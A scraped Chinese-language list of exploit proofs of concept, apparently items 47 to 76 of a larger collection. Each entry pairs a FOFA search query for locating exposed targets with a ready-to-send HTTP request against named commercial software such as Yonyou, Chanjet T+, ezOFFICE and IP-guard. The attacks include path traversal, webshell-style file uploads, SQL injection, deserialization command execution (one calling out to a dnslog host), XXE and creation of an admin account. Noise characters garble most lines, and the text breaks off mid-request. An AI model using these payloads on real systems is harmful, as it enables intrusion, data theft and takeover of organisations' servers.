FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
( ?. Q8 z3 H) x$ }- lHost: x.x.x.x
8 W# _& }* g* `  q9 yCache-Control: max-age=0
$ W$ T  H! |7 M: NUpgrade-Insecure-Requests: 1
1 W5 w- s) _/ i: i! lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
! P! p, b9 v8 T% j& D9 T; \& dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
: k+ |0 |( N: s. O  q: R+ p+ s8 m8 W  {Accept-Language: zh-CN,zh;q=0.9
& d  k3 D& }# l( P1 ]4 t  PIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close



48. 用友U8 CRM swfupload 任意文件上传
- u3 T* y9 v9 o, W' p8 ?FOFA：title="用友U8CRM"
- W" w6 }: y/ L6 Q. `POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
) w6 h: j, m2 PHost: your-ip
3 _$ Q( b* v/ F: ]- JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
4 U2 D& G4 V( g# ^% P- P/ WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ {! w7 o# T7 l+ m1 r; k, HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
! \3 s9 a7 o( ^6 p$ h------269520967239406871642430066855
+ x$ L5 s& T& d4 Z  N0 @' ?Content-Disposition: form-data; name="file"; filename="s.php"
1231
8 Y. ^& q$ Q" S- TContent-Type: application/octet-stream
; M7 p! S3 @* j------269520967239406871642430066855
  K; Z5 n7 Q1 v3 CContent-Disposition: form-data; name="upload"
/ t$ ~* m7 Z& O2 \' z0 kupload
------269520967239406871642430066855--
6 O: X- F/ D5 w8 t! O0 W

: V7 a. N. H/ S5 @& Z) G* Q49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
+ I) r/ Y5 a7 A' K& A
# A+ o+ B" N/ MPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
/ P) r4 ^2 C/ X/ `+ P0 PContent-Length: 329
; Z, C1 U1 D3 t9 m- I2 IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
& `& p! Z( Q# qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
7 F0 w- A6 N& a4 l5 j4 R+ jContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

1 m! F* E. x) r8 n7 M2 p7 W0 c/ m-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream
. N! ~& |/ g! B$ J! p; F& Q5 I! A
* |( y" B. ~4 Ywersqqmlumloqa
: {8 v: q: u" m" T-----------------------------vvv3wdayqv3yppdxvn3w
( j4 t( x% g( w9 p" i7 c" O$ }7 }, EContent-Disposition: form-data; name="upload"
% o; x( p2 k$ }4 K% [: g% ?
5 [; v9 f* U3 kupload
-----------------------------vvv3wdayqv3yppdxvn3w--

! M; \% w  @$ d& `
* M" |6 T1 u% C# zhttp://x.x.x.x/tmpfile/updB3CB.tmp.php
$ b5 y2 `8 I4 J* I& P4 b( |5 m
50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
+ A+ l+ }; z' {7 G0 w' X; v6 qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
, X/ L0 ?2 F& W- L" [% f' hConnection: close
( v- b, K# K+ p- ]8 QContent-Length: 224
# @2 m# J6 J8 `% G1 B) K0 QAccept: */*
0 M% {/ n) n' c2 ~3 sAccept-Language: en
% h# d* V. b4 O" c2 Q; TContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
6 A5 e' e1 u9 |) r# P' S3 i0 P+ E6 Q
/ X: I3 _$ l$ A  e. Zsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
# |1 F" N) K* _+ a* J3 C; sFOFA：app="云时空社会化商业ERP系统"
9 O) J; I& {9 ]$ L+ \* d' L+ v: lGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
( k- C  O; ^5 s$ f5 b3 ~Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
; M" ~) D# }( Q! K. L4 E8 iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
# O7 }3 ?+ Z+ I; p* q
- s% F# q$ z5 D% @1 z+ \
52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
1 K0 D* O# b/ oPOST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
# U+ i7 z. m' q/ q  g9 kUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
4 I$ t+ e+ ?: ^: X5 s' NContent-Length: 87
Accept: */*
4 H  Z4 r  h1 D0 {1 z. J9 l5 DAccept-Language: en
' g0 s9 t+ Z9 S! KContent-Type: application/x-www-form-urlencoded
0 V0 n" B1 K6 x3 GAccept-Encoding: gzip
7 f( {+ @7 q2 u- c6 X! a% s; m
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
( w9 Z0 L, p$ x" B
7 n# ^* D5 ^1 O9 Q
! H/ t+ f- w6 l  `+ I) J5 x$ K53. 迪普 DPTech VPN Service 任意文件上传
  x. ]: ?0 @/ `4 D2 P6 |FOFA：app="DPtech-SSLVPN"
+ o) B6 P2 I, f7 i- R6 s) q/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
: b2 J0 M$ p' J& ^

$ ^: @2 t. e' N7 g$ I  L& J. e54. 畅捷通T+ getstorewarehousebystore 远程代码执行
+ l. W# d0 Q# K% @FOFA：app="畅捷通-TPlus"
  @, e" A3 G: B7 [4 \5 O第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
: }) E7 l! x+ R/ o6 i"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
) v8 r! c" a+ v/ q* Y& ?
7 C+ t6 X2 C5 |
完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
# w7 ~- d; N* b' k; `1 r: ^Host: x.x.x.x
6 u2 M- K1 s8 _9 i* R! FUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
; _. b, u+ T/ s+ d% J4 M
{
6 T' [2 J6 b) s7 G  e6 ]"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
5 Q9 y0 F4 A7 ~  Z, q) q: V "MethodName":"Start",
, a1 `" \% r: Q7 g4 d% d4 Y  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
0 Z: Y5 k) p( s7 y# V; o7 ]& r    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
  }
}

& n. H7 Y1 _( K: C7 b
7 P, s1 i2 ]3 R- p. c; D; B; X第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

: y5 N! L2 K2 j2 X
55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
第一步，通过
! ^: }! i' i" E$ R/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
5 J0 E% y8 U4 Y第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
, Y% M2 p3 ?. b4 R* b0 b
, E2 T  r. _& X9 E" y$ B56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
+ g6 T5 [, p5 u4 t& E  l; F( \/ dFOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
8 W3 B4 o$ {; f' g$ e1 w; r7 yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
) p. W! G& ~; G3 ^2 P$ v- f+ J
{
& d% O' Q* U5 E8 g2 B  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
% x9 N4 ?# D3 h8 ^        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
4 H2 e+ v8 j* L7 M4 P' P' _           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
" I- u6 K& [# v2 U+ \# A) b    }
  }
}


57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
) O+ [, M0 D4 o: [2 ?User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
3 Q" f( [( i1 A8 m1 u2 O2 @& NGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
0 ^0 S" P5 [3 G& y: D0 I! T( WHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
5 t$ t' H0 F. @# e9 ~4 Z: j) yAccept-Charset: utf-8
1 z$ g* b" ]1 K2 }- u' N6 t6 ?: oAccept-Encoding: gzip, deflate
Connection: close

4 ~3 g/ A  S) p. r5 e  y/ ]0 r+ u
) D# V6 U3 U4 b% e59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
, W8 t: A( W5 w5 o0 f8 f, m/ GPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
! M2 ^0 p2 F) o2 xUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
Accept: */*
2 U" A6 `$ R+ g; Z! oAccept-Language: en
Content-Type: application/x-www-form-urlencoded
( S! y; c2 y' {: HAccept-Encoding: gzip
5 t4 ~, [9 l& I. i9 r
PAYLOAD
0 s6 i% Y  _# }$ k. }- B& {

60. 百卓Smart管理平台 importexport.php SQL注入
. S" C& \9 G3 t3 t; LFOFA：title="Smart管理平台"
& g$ c; J) Y' x# Q* {+ zGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
4 B/ R8 r  [( E, p  q) G+ qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- e( v+ b+ H: P" r. k9 B7 pAccept-Encoding: gzip, deflate
8 f, t. I& i8 t4 J, TAccept-Language: zh-CN,zh;q=0.9
Connection: close
" J9 P( W! u1 m/ _

0 H" ~% c% ^7 z8 I# R( u61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
' i- O9 O; g/ D3 R' A8 b3 wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( _9 C8 u+ C8 \( F' Q- fConnection: close
! v4 j7 q5 O/ z% R4 VContent-Length: 27
- Z/ B3 y3 }7 YAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
. O4 [/ x( z9 u! V$ hContent-Type: application/x-www-form-urlencoded
7 t' K6 t+ `* D& l3 c7 v! [
/ }1 I" I, p7 a& Z2 V5 G8uxssX66eqrqtKObcVa0kid98xa
- ?% L$ j) r8 O8 f3 H. ~

- f; J; ?" ^" C! Z62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
) r, u' Q! W8 d; ?/ o) pGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
& b% N) f0 v+ Z! j& {User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
3 Q: {2 M+ }! p8 p4 LAccept-Language: en
, v3 n7 p" f* o! AAccept-Encoding: gzip
+ b. N& K0 S: ~8 N) k  ^+ @( r. Z
8 B0 p: d4 G2 F
$ d& }$ q: N" ]0 `" Q% I访问

) t) N/ Z' J) m. M9 W2 AGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x

% r1 H' ?6 c& Z$ x% k$ J
63. IP-guard WebServer任意文件读取
, s3 @( J  |, U) tIP-guard < 4.82.0609.0
. }' B# F6 j$ X5 W; A; ?' lFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
- A6 I0 X6 D+ j/ u- z& m. oHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
/ S3 y, g. n0 y6 \  YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 j0 ~4 d1 @) S, D+ mAccept-Encoding: gzip, deflate
4 g: i. ?. M! P% W0 DAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
: u/ e* z9 @7 v
path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
, C7 F' F3 \" G9 u0 U
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
6 o9 _& |0 j; f3 p( AUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
+ X; A7 r9 S) X$ P; u2 QAccept: */*
* _/ C3 h- s7 d/ G+ Y6 t5 AAccept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
$ Q) d$ Y- ~% I2 k' @# i6 j! E
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
- k) f7 \" L2 b; J    <GetOSpById xmlns="http://tempuri.org/">
7 i8 f. i% G+ X8 ]3 z! T  i      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
</soap:Envelope>


65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
+ v. W6 C& U/ T& e+ Q6 wPOST /SystemMng.ashx HTTP/1.1
# `5 j5 u' i; S) N' G1 r6 k4 C  FHost:
! G8 t5 g8 N" k( k9 @User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
- s' \: n6 o$ {" k9 g% x3 jAccept: */*
* w/ \" |2 u4 W8 l3 WConnection: close
$ T, D: F* \0 w) s2 JAccept-Language: en
Content-Length: 174

; O8 A+ P7 E6 w4 f2 l2 W/ poperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
8 b+ J; p5 b) l: U8 [7 ]
8 T9 ]1 i* t& x4 c9 t4 M, q* N
, r# E* c# N8 l66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
% L5 g; V2 m% MFOFA：app="万户ezOFFICE协同管理平台"
, {# L- ]' h6 n! y* Y( X# W# f
5 ]& s* q( L% F1 B$ ]* Y- s! V) bGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
: }+ m- I' g+ p/ w6 ^$ N5 g3 qAccept: */*
1 q, d' e% U5 n2 ]# |1 T3 _( dAccept-Language: en
) V5 X4 R* m2 {; V2 l- \9 H7 yAccept-Encoding: gzip
2 T2 Z# \& I* i3 L* e
) n" K6 `7 Z" f3 M3 a5 m
) s2 K0 o0 o. t6 `( ~* k& [  T第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

: [4 c- Y  U) C67. 万户ezOFFICE wpsservlet任意文件上传
' E, d5 K7 g5 l- kFOFA：app="万户网络-ezOFFICE"
5 U& s9 i( _' ~; w' r8 l/ ^newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
9 x8 Z5 \- a2 o) [Host: x.x.x.x
3 J* g9 e3 w, `User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
: m0 @& s; A& W! NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
2 m& ^! z2 g; w. K+ nAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
' P) _0 T3 _3 p6 O. T/ q" JConnection: close
# M1 s$ J9 ]3 j7 y( R6 f3 P& A, \Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
( L- B! r# G  W4 c: M6 p/ sDNT: 1
* j& B* s- u/ `" J# n# Q$ vUpgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
8 e) Y1 _5 [! x4 q
0 I. j+ g6 h8 \* c) Z<% out.print("sasdfghjkj");%>
; X4 D. B# M8 A6 r--ufuadpxathqvxfqnuyuqaozvseiueerp--
; b, F9 [4 m; N4 M
; ~3 R. Q3 r& ^  ~/ v( X
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

4 K# l, |/ [' u$ h0 s( O, D68. 万户ezOFFICE wf_printnum.jsp SQL注入
. U6 O# ]- k  VFOFA：app="万户ezOFFICE协同管理平台"
& o" V/ R" O- R% U- N% CGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
8 ^1 F. j7 w# M$ o6 O" g$ ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
; L4 T5 f5 g4 _Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
1 e/ Z/ p2 @3 Q& C
  `. i/ `; L! W) |8 G! i2 \
69. 万户 ezOFFICE contract_gd.jsp SQL注入
! G1 x% P+ y: q% T' ~- VFOFA：app="万户ezOFFICE协同管理平台"
- Y1 q, N! J/ E3 g, FGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
0 K2 s0 P9 u1 N0 }/ D3 U0 T+ TUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
! g& P9 |+ i  W* @) H9 U: J1 Z' wAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
- H. }- Z/ k0 q8 v

70. 万户ezEIP success 命令执行
3 H/ l# `# X( Q. v' }( U7 ~FOFA：app="万户网络-ezEIP"
' v; s, I8 ?- fPOST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
+ F; ~; {( ~" i6 hSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
/ S( J. H. g2 RContent-Type: application/x-www-form-urlencoded
TYPE: C
' Z' k' e! v. VContent-Length: 16702
8 w& Q7 M9 F8 _( g* m
__VIEWSTATE=PAYLOAD
, S4 i2 J# C; p
6 ^3 n6 Q( y9 y. i
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
5 W) N; F9 e' E2 h& t9 a2 VGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
* p7 L1 c- s9 f- Q+ i8 E4 N  E4 aHost: x.x.x.xx.x.x.x
! P$ C7 C) }0 H2 m# X) b- J) }User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
  Y* D0 t8 v( DConnection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, m: F0 W4 O6 ^- O" EAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
3 Q% G  D/ }5 g& ~% H8 D$ q
$ o! g9 k7 e, g3 f2 ^' c/ n
/ }' Y; f) r0 U. V72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
. k% u% o9 R0 E! `; tPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
9 y+ I$ R% C9 O% `& BHost: 192.168.40.131:8099
* l+ }9 z& r/ tUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
& q% k! i( x6 L% b4 L0 y$ o0 f/ BContent-Type: application/x-www-form-urlencoded
8 }* R$ i& s; rAccept-Encoding: gzip

2 \& M3 @2 u; _0 xS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
  C3 O1 k( s: h1 g% E1 H! X; y
; U5 b# c( |- x
73. GeoServer wms远程代码执行
3 g/ K$ t9 g  @. F/ G5 OFOFA：icon_hash=”97540678”
% v. b2 ]! q/ o4 @$ O8 bPOST /geoserver/wms HTTP/1.1
" `+ b% n- q1 H+ K* A7 v7 yHost:
2 K9 ?6 Z, u5 l; hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
# {$ d5 N) o) PContent-Length: 1981
/ D. `* n& M: I, ?, V+ y# ?  m; `Accept-Encoding: gzip, deflate
Connection: close
; D2 ]6 m* ^) b7 b& `( BContent-Type: application/xml
4 }; Q' P9 [7 C3 eSL-CE-SUID: 3
- ]8 u( G5 C) ?
! |& v- G0 y( R3 w: vPAYLOAD
' J( O, z2 u( {5 z
* M, w) v# k+ X: U6 |! v  C9 ?
  d2 e5 u2 Z3 R3 d+ ^; }% E74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
PAYLOAD

  a# i* u+ r; m/ t; u8 {$ d8 e8 @75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
7 L9 K# O( x+ B( r) kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* f. {# Q0 o+ K. ]3 CConnection: close
Accept: */*
! n  C: |# o' dAccept-Language: en
Accept-Encoding: gzip
6 N) t$ a) v8 A/ k
8 d# W$ b: Q( W' J8 p! O
7 t+ b% U* ]: Y8 L! c  qGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
6 {( F) W- ]8 k" }8 }* {; M
) W- q& _$ f" d* L  v/ {0 \9 v
+ j+ H) p6 z5 \# P+ M76. 新开普掌上校园服务管理平台service.action远程命令执行
3 V& M/ j$ _- E1 N# bFOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
, l& {) u) Z. v' GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
3 u3 k6 z3 N% aConnection: close
, {  s9 U( Z: Z3 y" lContent-Length: 211
